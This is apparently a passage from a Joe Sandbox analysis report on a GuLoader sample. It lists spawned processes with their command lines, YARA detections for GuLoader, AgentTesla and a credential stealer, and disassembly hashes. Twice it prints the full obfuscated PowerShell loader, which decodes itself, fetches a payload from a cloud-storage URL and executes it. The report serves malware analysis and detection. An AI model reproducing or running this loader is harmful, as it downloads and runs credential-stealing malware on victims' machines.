Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam ndDrawbepub.ir BrdssTreet[Hyper$AnspoS offetRemineStil,nFrilsoBolt tForlaaGrounp Pse,hopregr ExhauCubi.m ,occ]Under=Udkla$Uds.yBChinkr EpidoBear.d S.nufRaffir,recas Info ');$Dandy=Banuyo17 'CalvrKFremtrDaab,eDri,hm agneegtefor AcqueTusintro,an. A,icD UdsaospektwUlt,an VelolMo,dno,oniraFlattd ReasFMlke.iKlarhlSelv eDelag(Sero,$ BysbAIncogm SprupVaskeuFodertRets ablacktUreosiCholuoStepdnIlyapeUnbl,rHuara,Quaif$ ngrasNautieCuratmjuvaviReminp Ne,brBenedoSprjtv ,ermeUnsynn Ulis) .ope ';$Dandy=$Fuldmaaner[1]+$Dandy;$semiproven=$Fuldmaaner[0];decoupled (Banuyo17 'almo,$BrevagneighlSpa robruntbLithoaRegralPulld:BureaUUnsymnundoudAf ameProgrrDemeas UnretForb.eKo,temStatsm D.rge TilsnFabri=Natur(.itioTPrei,eBricks Vi etMolek-DespoPso,edaHeatithofteh Lido Guess$Ph llsUnchre AssomGenneiGer.ipcrimsrSt,ngo Vaa,vtrreheStor,nhavne)Overe ');while (!$Understemmen) {decoupled (Banuyo17 'Tilgo$svigeg starl sko o EvadbArariaAgurkl rets:tri oNclo.pa Twirs Sm,dtRegioiSprogeEnergs.orgatMistr=Indef$StenttReklarDialeuCherueBh is ') ;decoupled $Dandy;decoupled (Banuyo17 'T,gseSMeto.tHyperaPre.erFrisktC,alm-MacroSS,inelBesseeGuth,eUnfurpTaler My.l4Phase ');decoupled (Banuyo17 ' Card$Unsipgprdikl I.peo T,efb binaaH.sdel le s: GlasUSweetnOnerodO erheFjendrReprosProvetPalpaeAlit.mM.stim u.ele.deelnLeven= Hj f(InestTProgreUdenos FrsttTilsl- C ilPWraina Pod tSvipthRoere s bcy$M.untsOesopeBombamRubini OutdpImpolrSb,booRhiz.vMalere R conArkad)Liban ') ;decoupled (Banuyo17 'Coun $Bruttg.ommel ,ardo Ess,bIagttaCelebl Domi:DiamoTdithirTineauIndklgD koleEghj,nMatriePommesOitic=Semi.$Acce,gGarrolBo,dhoCalmsbFunktaW,llilAmimi: Ls,iSAkup aKonkumOverls,yttesD.kup+ Fina+darwi%Sooge$EyingBCheboo MemotInb orInd ey Wedgl Fa.il Lu.ti IncidP,ecea ConfeTrihy.SkrigcMesitoAf,enu PagonStutftBevel ') ;$Amputationer=$Botryllidae[$Trugenes];}decoupled (Banuyo17 'Compu$Multig .ydalPremioNinjab scataKuglelP rfe:Pew.nNAngreaMezenz ImpeaDaah r,apani IlsetUnemai AporsRe tomTappi Cell =Cykel RegleGE,igoeFor.ut Rev.-MattiCManu oRottinunh,ct IdioeindusnBinaetResyn ,akul$Kontasend.ge Vil.m Sal.iKautipFialer KonfoAm.unvBolsteBagsdn Whi, ');decoupled (Banuyo17 'Milit$DdssygDjthalRgelsoDualmbS.arcaAuxollBroch:SlgtnViteruvT nfoeoverctBellas G ab Haver=Forh, Udbri[UndslSChittyteksts P.eatKogekeNo.com Tids.SquamCBr,ndoExternStatevNordseM,ssirEjendt Auto]No me:Lumba:SorbuF GstfrCaly.oFortrmNavneBKdfula Unbrs OutgeOo,on6 ate4 PhreSSmu,st MoldrKloakiAlimenSavarg Uroc(Svovl$ BracNI fikaPacanz ubea T anrdildeiAffectB,odaiJ,rvis UsikmGets.)Fejld ');decoupled (Banuyo17 'Passa$ B,angHaimal elfloUdradbJessea EngolVirus:HemauOUdenovPettiePleskr Synss,fterl RetraWind,cDatalk rosk Stri.= Te,o Supra[LsengS.icroy ubves to.atSletheOrchimFestl. SpisThuskeei.fanxBolewtS,ovf.UncivEOvertnRewe,cFaktooStatsdAttesi GlipnShawngTppef] C,bm:P.ede: aturASunstS gin,C dereI T.skICarth.MisauG RodeeUpshotHuskaSGroott.illirEuromiImpisnhennegHal,p(Fortr$ P,liV PorcvbaryleLydset Vests Grun)Metab ');decoupled (Banuyo17 'Syvaa$ PrudgacronlSurinoDigambImp ga irkelAgate:BendaBLo.giuR,erlr MitinSammefUnrusiBerggrSupereNonem=Nymph$FirblO Bes,vFork,eLums.r TiewsinduslR wina.nmelcStempk her .ume.dsFryt,u astb V,rms F,retLmb.rrSkamfi umbonAs,ongParei(Ic nh3Bl,dp0toptr5Fil.p7Priva0Folke6Linie,Painf2kalib9Fleet9Super6C,rom1Dinne)Tack. ');decoupled $Burnfire;"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:07:04
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:07:08
Start date:	18/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $"
Imagebase:	0x7ff70dfa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:07:15
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam ndDrawbepub.ir BrdssTreet[Hyper$AnspoS offetRemineStil,nFrilsoBolt tForlaaGrounp Pse,hopregr ExhauCubi.m ,occ]Under=Udkla$Uds.yBChinkr EpidoBear.d S.nufRaffir,recas Info ');$Dandy=Banuyo17 'CalvrKFremtrDaab,eDri,hm agneegtefor AcqueTusintro,an. A,icD UdsaospektwUlt,an VelolMo,dno,oniraFlattd ReasFMlke.iKlarhlSelv eDelag(Sero,$ BysbAIncogm SprupVaskeuFodertRets ablacktUreosiCholuoStepdnIlyapeUnbl,rHuara,Quaif$ ngrasNautieCuratmjuvaviReminp Ne,brBenedoSprjtv ,ermeUnsynn Ulis) .ope ';$Dandy=$Fuldmaaner[1]+$Dandy;$semiproven=$Fuldmaaner[0];decoupled (Banuyo17 'almo,$BrevagneighlSpa robruntbLithoaRegralPulld:BureaUUnsymnundoudAf ameProgrrDemeas UnretForb.eKo,temStatsm D.rge TilsnFabri=Natur(.itioTPrei,eBricks Vi etMolek-DespoPso,edaHeatithofteh Lido Guess$Ph llsUnchre AssomGenneiGer.ipcrimsrSt,ngo Vaa,vtrreheStor,nhavne)Overe ');while (!$Understemmen) {decoupled (Banuyo17 'Tilgo$svigeg starl sko o EvadbArariaAgurkl rets:tri oNclo.pa Twirs Sm,dtRegioiSprogeEnergs.orgatMistr=Indef$StenttReklarDialeuCherueBh is ') ;decoupled $Dandy;decoupled (Banuyo17 'T,gseSMeto.tHyperaPre.erFrisktC,alm-MacroSS,inelBesseeGuth,eUnfurpTaler My.l4Phase ');decoupled (Banuyo17 ' Card$Unsipgprdikl I.peo T,efb binaaH.sdel le s: GlasUSweetnOnerodO erheFjendrReprosProvetPalpaeAlit.mM.stim u.ele.deelnLeven= Hj f(InestTProgreUdenos FrsttTilsl- C ilPWraina Pod tSvipthRoere s bcy$M.untsOesopeBombamRubini OutdpImpolrSb,booRhiz.vMalere R conArkad)Liban ') ;decoupled (Banuyo17 'Coun $Bruttg.ommel ,ardo Ess,bIagttaCelebl Domi:DiamoTdithirTineauIndklgD koleEghj,nMatriePommesOitic=Semi.$Acce,gGarrolBo,dhoCalmsbFunktaW,llilAmimi: Ls,iSAkup aKonkumOverls,yttesD.kup+ Fina+darwi%Sooge$EyingBCheboo MemotInb orInd ey Wedgl Fa.il Lu.ti IncidP,ecea ConfeTrihy.SkrigcMesitoAf,enu PagonStutftBevel ') ;$Amputationer=$Botryllidae[$Trugenes];}decoupled (Banuyo17 'Compu$Multig .ydalPremioNinjab scataKuglelP rfe:Pew.nNAngreaMezenz ImpeaDaah r,apani IlsetUnemai AporsRe tomTappi Cell =Cykel RegleGE,igoeFor.ut Rev.-MattiCManu oRottinunh,ct IdioeindusnBinaetResyn ,akul$Kontasend.ge Vil.m Sal.iKautipFialer KonfoAm.unvBolsteBagsdn Whi, ');decoupled (Banuyo17 'Milit$DdssygDjthalRgelsoDualmbS.arcaAuxollBroch:SlgtnViteruvT nfoeoverctBellas G ab Haver=Forh, Udbri[UndslSChittyteksts P.eatKogekeNo.com Tids.SquamCBr,ndoExternStatevNordseM,ssirEjendt Auto]No me:Lumba:SorbuF GstfrCaly.oFortrmNavneBKdfula Unbrs OutgeOo,on6 ate4 PhreSSmu,st MoldrKloakiAlimenSavarg Uroc(Svovl$ BracNI fikaPacanz ubea T anrdildeiAffectB,odaiJ,rvis UsikmGets.)Fejld ');decoupled (Banuyo17 'Passa$ B,angHaimal elfloUdradbJessea EngolVirus:HemauOUdenovPettiePleskr Synss,fterl RetraWind,cDatalk rosk Stri.= Te,o Supra[LsengS.icroy ubves to.atSletheOrchimFestl. SpisThuskeei.fanxBolewtS,ovf.UncivEOvertnRewe,cFaktooStatsdAttesi GlipnShawngTppef] C,bm:P.ede: aturASunstS gin,C dereI T.skICarth.MisauG RodeeUpshotHuskaSGroott.illirEuromiImpisnhennegHal,p(Fortr$ P,liV PorcvbaryleLydset Vests Grun)Metab ');decoupled (Banuyo17 'Syvaa$ PrudgacronlSurinoDigambImp ga irkelAgate:BendaBLo.giuR,erlr MitinSammefUnrusiBerggrSupereNonem=Nymph$FirblO Bes,vFork,eLums.r TiewsinduslR wina.nmelcStempk her .ume.dsFryt,u astb V,rms F,retLmb.rrSkamfi umbonAs,ongParei(Ic nh3Bl,dp0toptr5Fil.p7Priva0Folke6Linie,Painf2kalib9Fleet9Super6C,rom1Dinne)Tack. ');decoupled $Burnfire;"
Imagebase:	0xe60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000009.00000002.2017192523.0000000008C40000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000009.00000002.2007819028.00000000061C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000009.00000002.2017391660.0000000009585000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:07:16
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:07:42
Start date:	18/04/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0xe30000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2645999528.0000000025C45000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.2645999528.0000000025C45000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.2645999528.0000000025C6C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000C.00000002.2627141009.0000000004605000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 00007FF886E4B596 Relevance: 3.0, Strings: 2, Instructions: 474COMMON

Download Yara Rule

Strings

_.BF, xrefs: 00007FF886E4B608
_.BF, xrefs: 00007FF886E4BA2B

Memory Dump Source

Source File: 00000003.00000002.2466886453.00007FF886E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff886e40000_powershell.jbxd

Similarity

API ID:
String ID: _.BF$_.BF
API String ID: 0-1703367604
Opcode ID: e9b58df6a64b221e4f53a8180631a40f3614b0eb07b830ac9140b748fd8fed81
Instruction ID: 296c07dd094313af914b3e48c47d9f9b3fe0375103a294b8b47b868bdcea73d3
Opcode Fuzzy Hash: e9b58df6a64b221e4f53a8180631a40f3614b0eb07b830ac9140b748fd8fed81
Instruction Fuzzy Hash: 15F1953091CA8E8FEBA8DF28C8557E937E1FF55350F14426AD84DC7291CB349945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF886E4C342 Relevance: 3.0, Strings: 2, Instructions: 460COMMON

Download Yara Rule

Strings

_.BF, xrefs: 00007FF886E4C7A7
_.BF, xrefs: 00007FF886E4C3B8

Memory Dump Source

Source File: 00000003.00000002.2466886453.00007FF886E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff886e40000_powershell.jbxd

Similarity

API ID:
String ID: _.BF$_.BF
API String ID: 0-1703367604
Opcode ID: 5d088fdf003e8cee3ea77c5af442024e25f76b59ecbf35b73c054ff95467f053
Instruction ID: 17ec12f0efd437dbf8ac2988055bba046733fb3ed0b7255a9e24e4a3789c7887
Opcode Fuzzy Hash: 5d088fdf003e8cee3ea77c5af442024e25f76b59ecbf35b73c054ff95467f053
Instruction Fuzzy Hash: 5CE1C130908A8E8FEBA8DF28C8557F937E1FF54750F14426AD84DC7291DA78A945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF886F14169 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2468213777.00007FF886F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff886f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05afe30eb6d7e5586ac9238e4d920caae5f62021a2ee7203f39a38250bf0ffe6
Instruction ID: 308f7adec88457b173bbae05522908ae8f143171b6fa1be3f686c0188134d55d
Opcode Fuzzy Hash: 05afe30eb6d7e5586ac9238e4d920caae5f62021a2ee7203f39a38250bf0ffe6
Instruction Fuzzy Hash: 6DE11431D0DA8E8FE796DB6848556B87BE1FF963A0F1802BAC44DC71D2DA18EC46C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF886F1534D Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2468213777.00007FF886F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff886f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f78c9977b1553920cd027551657a42b05caf0423584b33d7ae29a0e3541b564
Instruction ID: 3a5e0492b2d5af366bf618b5f76f790030f2bcc5a964c29dac2fb6bef2c030e9
Opcode Fuzzy Hash: 0f78c9977b1553920cd027551657a42b05caf0423584b33d7ae29a0e3541b564
Instruction Fuzzy Hash: B0B1E2B1E0DA8E4FE797DA6C58646B57BE2FF593A4B4801BAC00DC7192DA28DC05C341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF886E4CAA0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2466886453.00007FF886E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff886e40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9a2baa8d1d2cd2f2ef10380a8e3d12bf76eab9bf72ced170f4196ae611c6fa
Instruction ID: 14ab999b8c3850a1f544c51a27c4e6dce5d43dd4e942e53c554cfdf60ee37a89
Opcode Fuzzy Hash: 1a9a2baa8d1d2cd2f2ef10380a8e3d12bf76eab9bf72ced170f4196ae611c6fa
Instruction Fuzzy Hash: B9612470A1CA494FE749EB28C495BB5B7E1FF95390F20057DD08AC7297DA25F842CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF886F14307 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2468213777.00007FF886F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff886f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41dba8cde32e9df6118b59f504c44f0d0dbbf6c4e00c9b58ec8bed745e487df6
Instruction ID: c6cd07f78d03e5145cd902d7da740c12f8fd5ae07bf74c02beff7e46167a7288
Opcode Fuzzy Hash: 41dba8cde32e9df6118b59f504c44f0d0dbbf6c4e00c9b58ec8bed745e487df6
Instruction Fuzzy Hash: 1951B322D1DA8A8FE396DB6854516B8A6E2BF953E4F5801B9D40CC31D2DD1CEC46D702

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF886F15472 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2468213777.00007FF886F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff886f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d599f8fa334c4287863cefbde9ec738b4473e47f083d1469485a8fd50c1a990d
Instruction ID: 0c7cb62399094539e6a7888529cc61daf6d22f07711acdee1b5695f84bad4030
Opcode Fuzzy Hash: d599f8fa334c4287863cefbde9ec738b4473e47f083d1469485a8fd50c1a990d
Instruction Fuzzy Hash: 9E31D892D1EA8B0BE3A796AC28211B86AD1FF557E5B5801BAC40DC31D3ED1CDC148342

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF886E43945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2466886453.00007FF886E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff886e40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: be3fd98d75d27ec4b1f607558638be3019c5f8a5eb3205554f58c07053ce29c0
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: FB01677115CB0C4FD744EF0CE451AA5B7E0FB95364F10056DE58AC3655DA36E881CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 8108, Parent PID: 7660COMMON

Executed Functions

Function 07B72FBC Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945dc2c5d1f30d8e401a169cc48eceba9a2ba6d637bd1e1cbb5c0c9539963942
Instruction ID: cb0e2562d308a3b65abfd14df562dcb65dbbb023c997bb620362146bbe67b733
Opcode Fuzzy Hash: 945dc2c5d1f30d8e401a169cc48eceba9a2ba6d637bd1e1cbb5c0c9539963942
Instruction Fuzzy Hash: E65104B0A093C5EFD3128B64C814BA6BFF1EF86211F19C0DAD0559F2A2C636DC45D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 07B75838 Relevance: 11.0, Strings: 8, Instructions: 1035COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B76CB3
(fl, xrefs: 07B76DFF
(fl, xrefs: 07B76D2E
(fl, xrefs: 07B76CA9
(fl, xrefs: 07B76D24
(fl, xrefs: 07B76EA2
(fl, xrefs: 07B76EAC
(fl, xrefs: 07B76DF5

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl$(fl$(fl$(fl$(fl$(fl$(fl
API String ID: 0-747792303
Opcode ID: ad3700a73c60715419eb3e4ff594450b6f18ee884fb5945a807c34d09fe2eff7
Instruction ID: dbacf9bc175174d1a6fd605a1e4a154ea7d1d6162d328e921f7a5288e952978a
Opcode Fuzzy Hash: ad3700a73c60715419eb3e4ff594450b6f18ee884fb5945a807c34d09fe2eff7
Instruction Fuzzy Hash: B49290B0B00305DFEB24DB68C880BAAB7B2EF85314F1484AAD815AF751DB71DC91CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07B74728 Relevance: 10.9, Strings: 8, Instructions: 935COMMON

Download Yara Rule

Strings

(fl, xrefs: 07B752F7
(fl, xrefs: 07B74B5E
(fl, xrefs: 07B74FB3
(fl, xrefs: 07B75301
(fl, xrefs: 07B74F01
(fl, xrefs: 07B74EF7
(fl, xrefs: 07B74B6A
(fl, xrefs: 07B74FBD

Memory Dump Source

Source File: 00000009.00000002.2012928882.0000000007B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7b70000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl$(fl$(fl$(fl$(fl$(fl$(fl
API String ID: 0-747792303
Opcode ID: 753babe19d53b33cc744deae3c67ffa0314296bc482542404bf356385dc8de6d
Instruction ID: 3181ed47a01731ba177f7c5cbc5e84ac7ada67f0f18edb8a7b01166796e951c6
Opcode Fuzzy Hash: 753babe19d53b33cc744deae3c67ffa0314296bc482542404bf356385dc8de6d
